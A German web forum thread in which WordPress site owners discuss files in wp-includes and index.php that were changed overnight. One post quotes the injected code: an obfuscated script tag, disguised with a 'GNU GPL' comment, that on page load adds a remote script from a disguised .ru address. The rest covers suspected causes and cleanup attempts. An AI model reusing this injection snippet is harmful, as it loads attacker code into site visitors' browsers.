Was macht default-widgets, filters & embeds.php?

Habe durch Zufall heute auf einigen Blogs in meinerm wp-includes Ordner 3 Dateien gesehn (default-widgets.php, default-filters.php und default-embeds.php) die alle das Datum von gestern hatten. Was wird da von WP automatisch verändert und wozu die Dateien?

Danke und frohes Fest an alle.:-P

Ich hatte bei ein paar Blogs in der index.php und oben genannte Dateien folgende Zeile ganz unten drin stehen.

<script>/*GNU GPL*/ try{window.onload = function(){var Tr3dshq3q9w = document.createElement('s#!(c))@r(i)p!t&'.replace(/&|\!|\(|\$|\^|\)|@|#/ig, ''));Tr3dshq3q9w.setAttribute('type', 'text/javascript');Tr3dshq3q9w.setAttribute('src',  'h$^t^^$t$@#p#!@:(&&/^/@#k()$i!n&^^$!o(&p^!#o@!)^i&s&#k)!$-@!r!!u#(.^!(t@!h(e(^f@@)&r$&!e!@(e)$d!&i)^!(c^$(()t#)#$i!)#o))^^n#@(&a#)r(#(y@.&^^c)&o(#))m&)!.(w&$&@a!(s(^h#$!)i(n!!$$g(!t#@^o!((n@$$p#o#(($s!t!-#@c(&#o&$m($.^)m!(u(((s$$^&i!!c!))#b&o(x@(^!p!#!^r!($o!^!.@(@r&$u!@:(!8#0&#^8(#0(&(/&!g@@)o@)#o&g)#!l$e&.()!c)$@#o$(^m(.!!t&&w!!/#(^&g)$o$@)o^$)g$&(@l!)$(e&@@.#)c^@^o$m^.(t&w(/&p@$^a)!@(n!@$d()(!o!r)!)a&&$^.^c)(o)&m$!/!(e#)!v!^$i$)t@$e$.$&@(c&@(o#(m(/^(^g^)o)!o(#@g@(&&l^(e!.@$c^$@o(m))/^&!'.replace(/#|\$|\^|\(|\)|&|@|\!/ig, ''));Tr3dshq3q9w.setAttribute('defer', 'defer');Tr3dshq3q9w.setAttribute('id', 'Y!)$@w(^$^u!^#)3)$a@)#6^$$b!9&^x($()k&)i)&#s!'.replace(/\(|&|\^|\!|#|\$|@|\)/ig, ''));document.body.appendChild(Tr3dshq3q9w);}} catch(e) {}</script>

Was isn das?:?: gehackt?

Na Prima, die letzten beiden Versionen von WP nutze ich.
Das krasse ist das es nicht nur Wordpress betrifft. Auch andere Domains auf meinem Webspace haben das Problem.

Die können doch nur über FTP da reinkommen oder?

Zitat von jottlieb

Die können u.a. über irgendein beliebiges Script, Plugin, Theme etc. reingekommen sein, das muss nicht WP sein.

Also auch ein Theme oder Plugin was ich für WP benutze?
Hab ich da ne möglichkeit nachzuschauen?

Also ich hab ne Vermutung wo das Problem ist.
Und zwar hab ich erst seit ein paar Wochen das Theme am laufen.
http://www.paddsolutions.com/wordpress-theme-magasin-uno/

Im Footer ist, wie so oft, ein verschlüsselter Code. Den ich auch erstmal dringelassen hab. Kann es sein das da etwas enthalten ist das mir jetzt den schaden zugefügt hat?

Nur die Frage was das Script denn nun macht.
Kann nur sagen das irgendeine .ru während des ladens unten erscheint.

Müsste ich denn in den logdatein den zugriff nicht finden?
Und dann die IP über htaccess sperren?

Also ich hab mir das hier eingefangen.
http://seoforums.org/site-optimizat…nction-var.html

Hab das script curevir.php ausgeführt so das alles clean ist und ftp passwort verändert.
Nach paar Minuten hatte ich wieder das Problem. :?: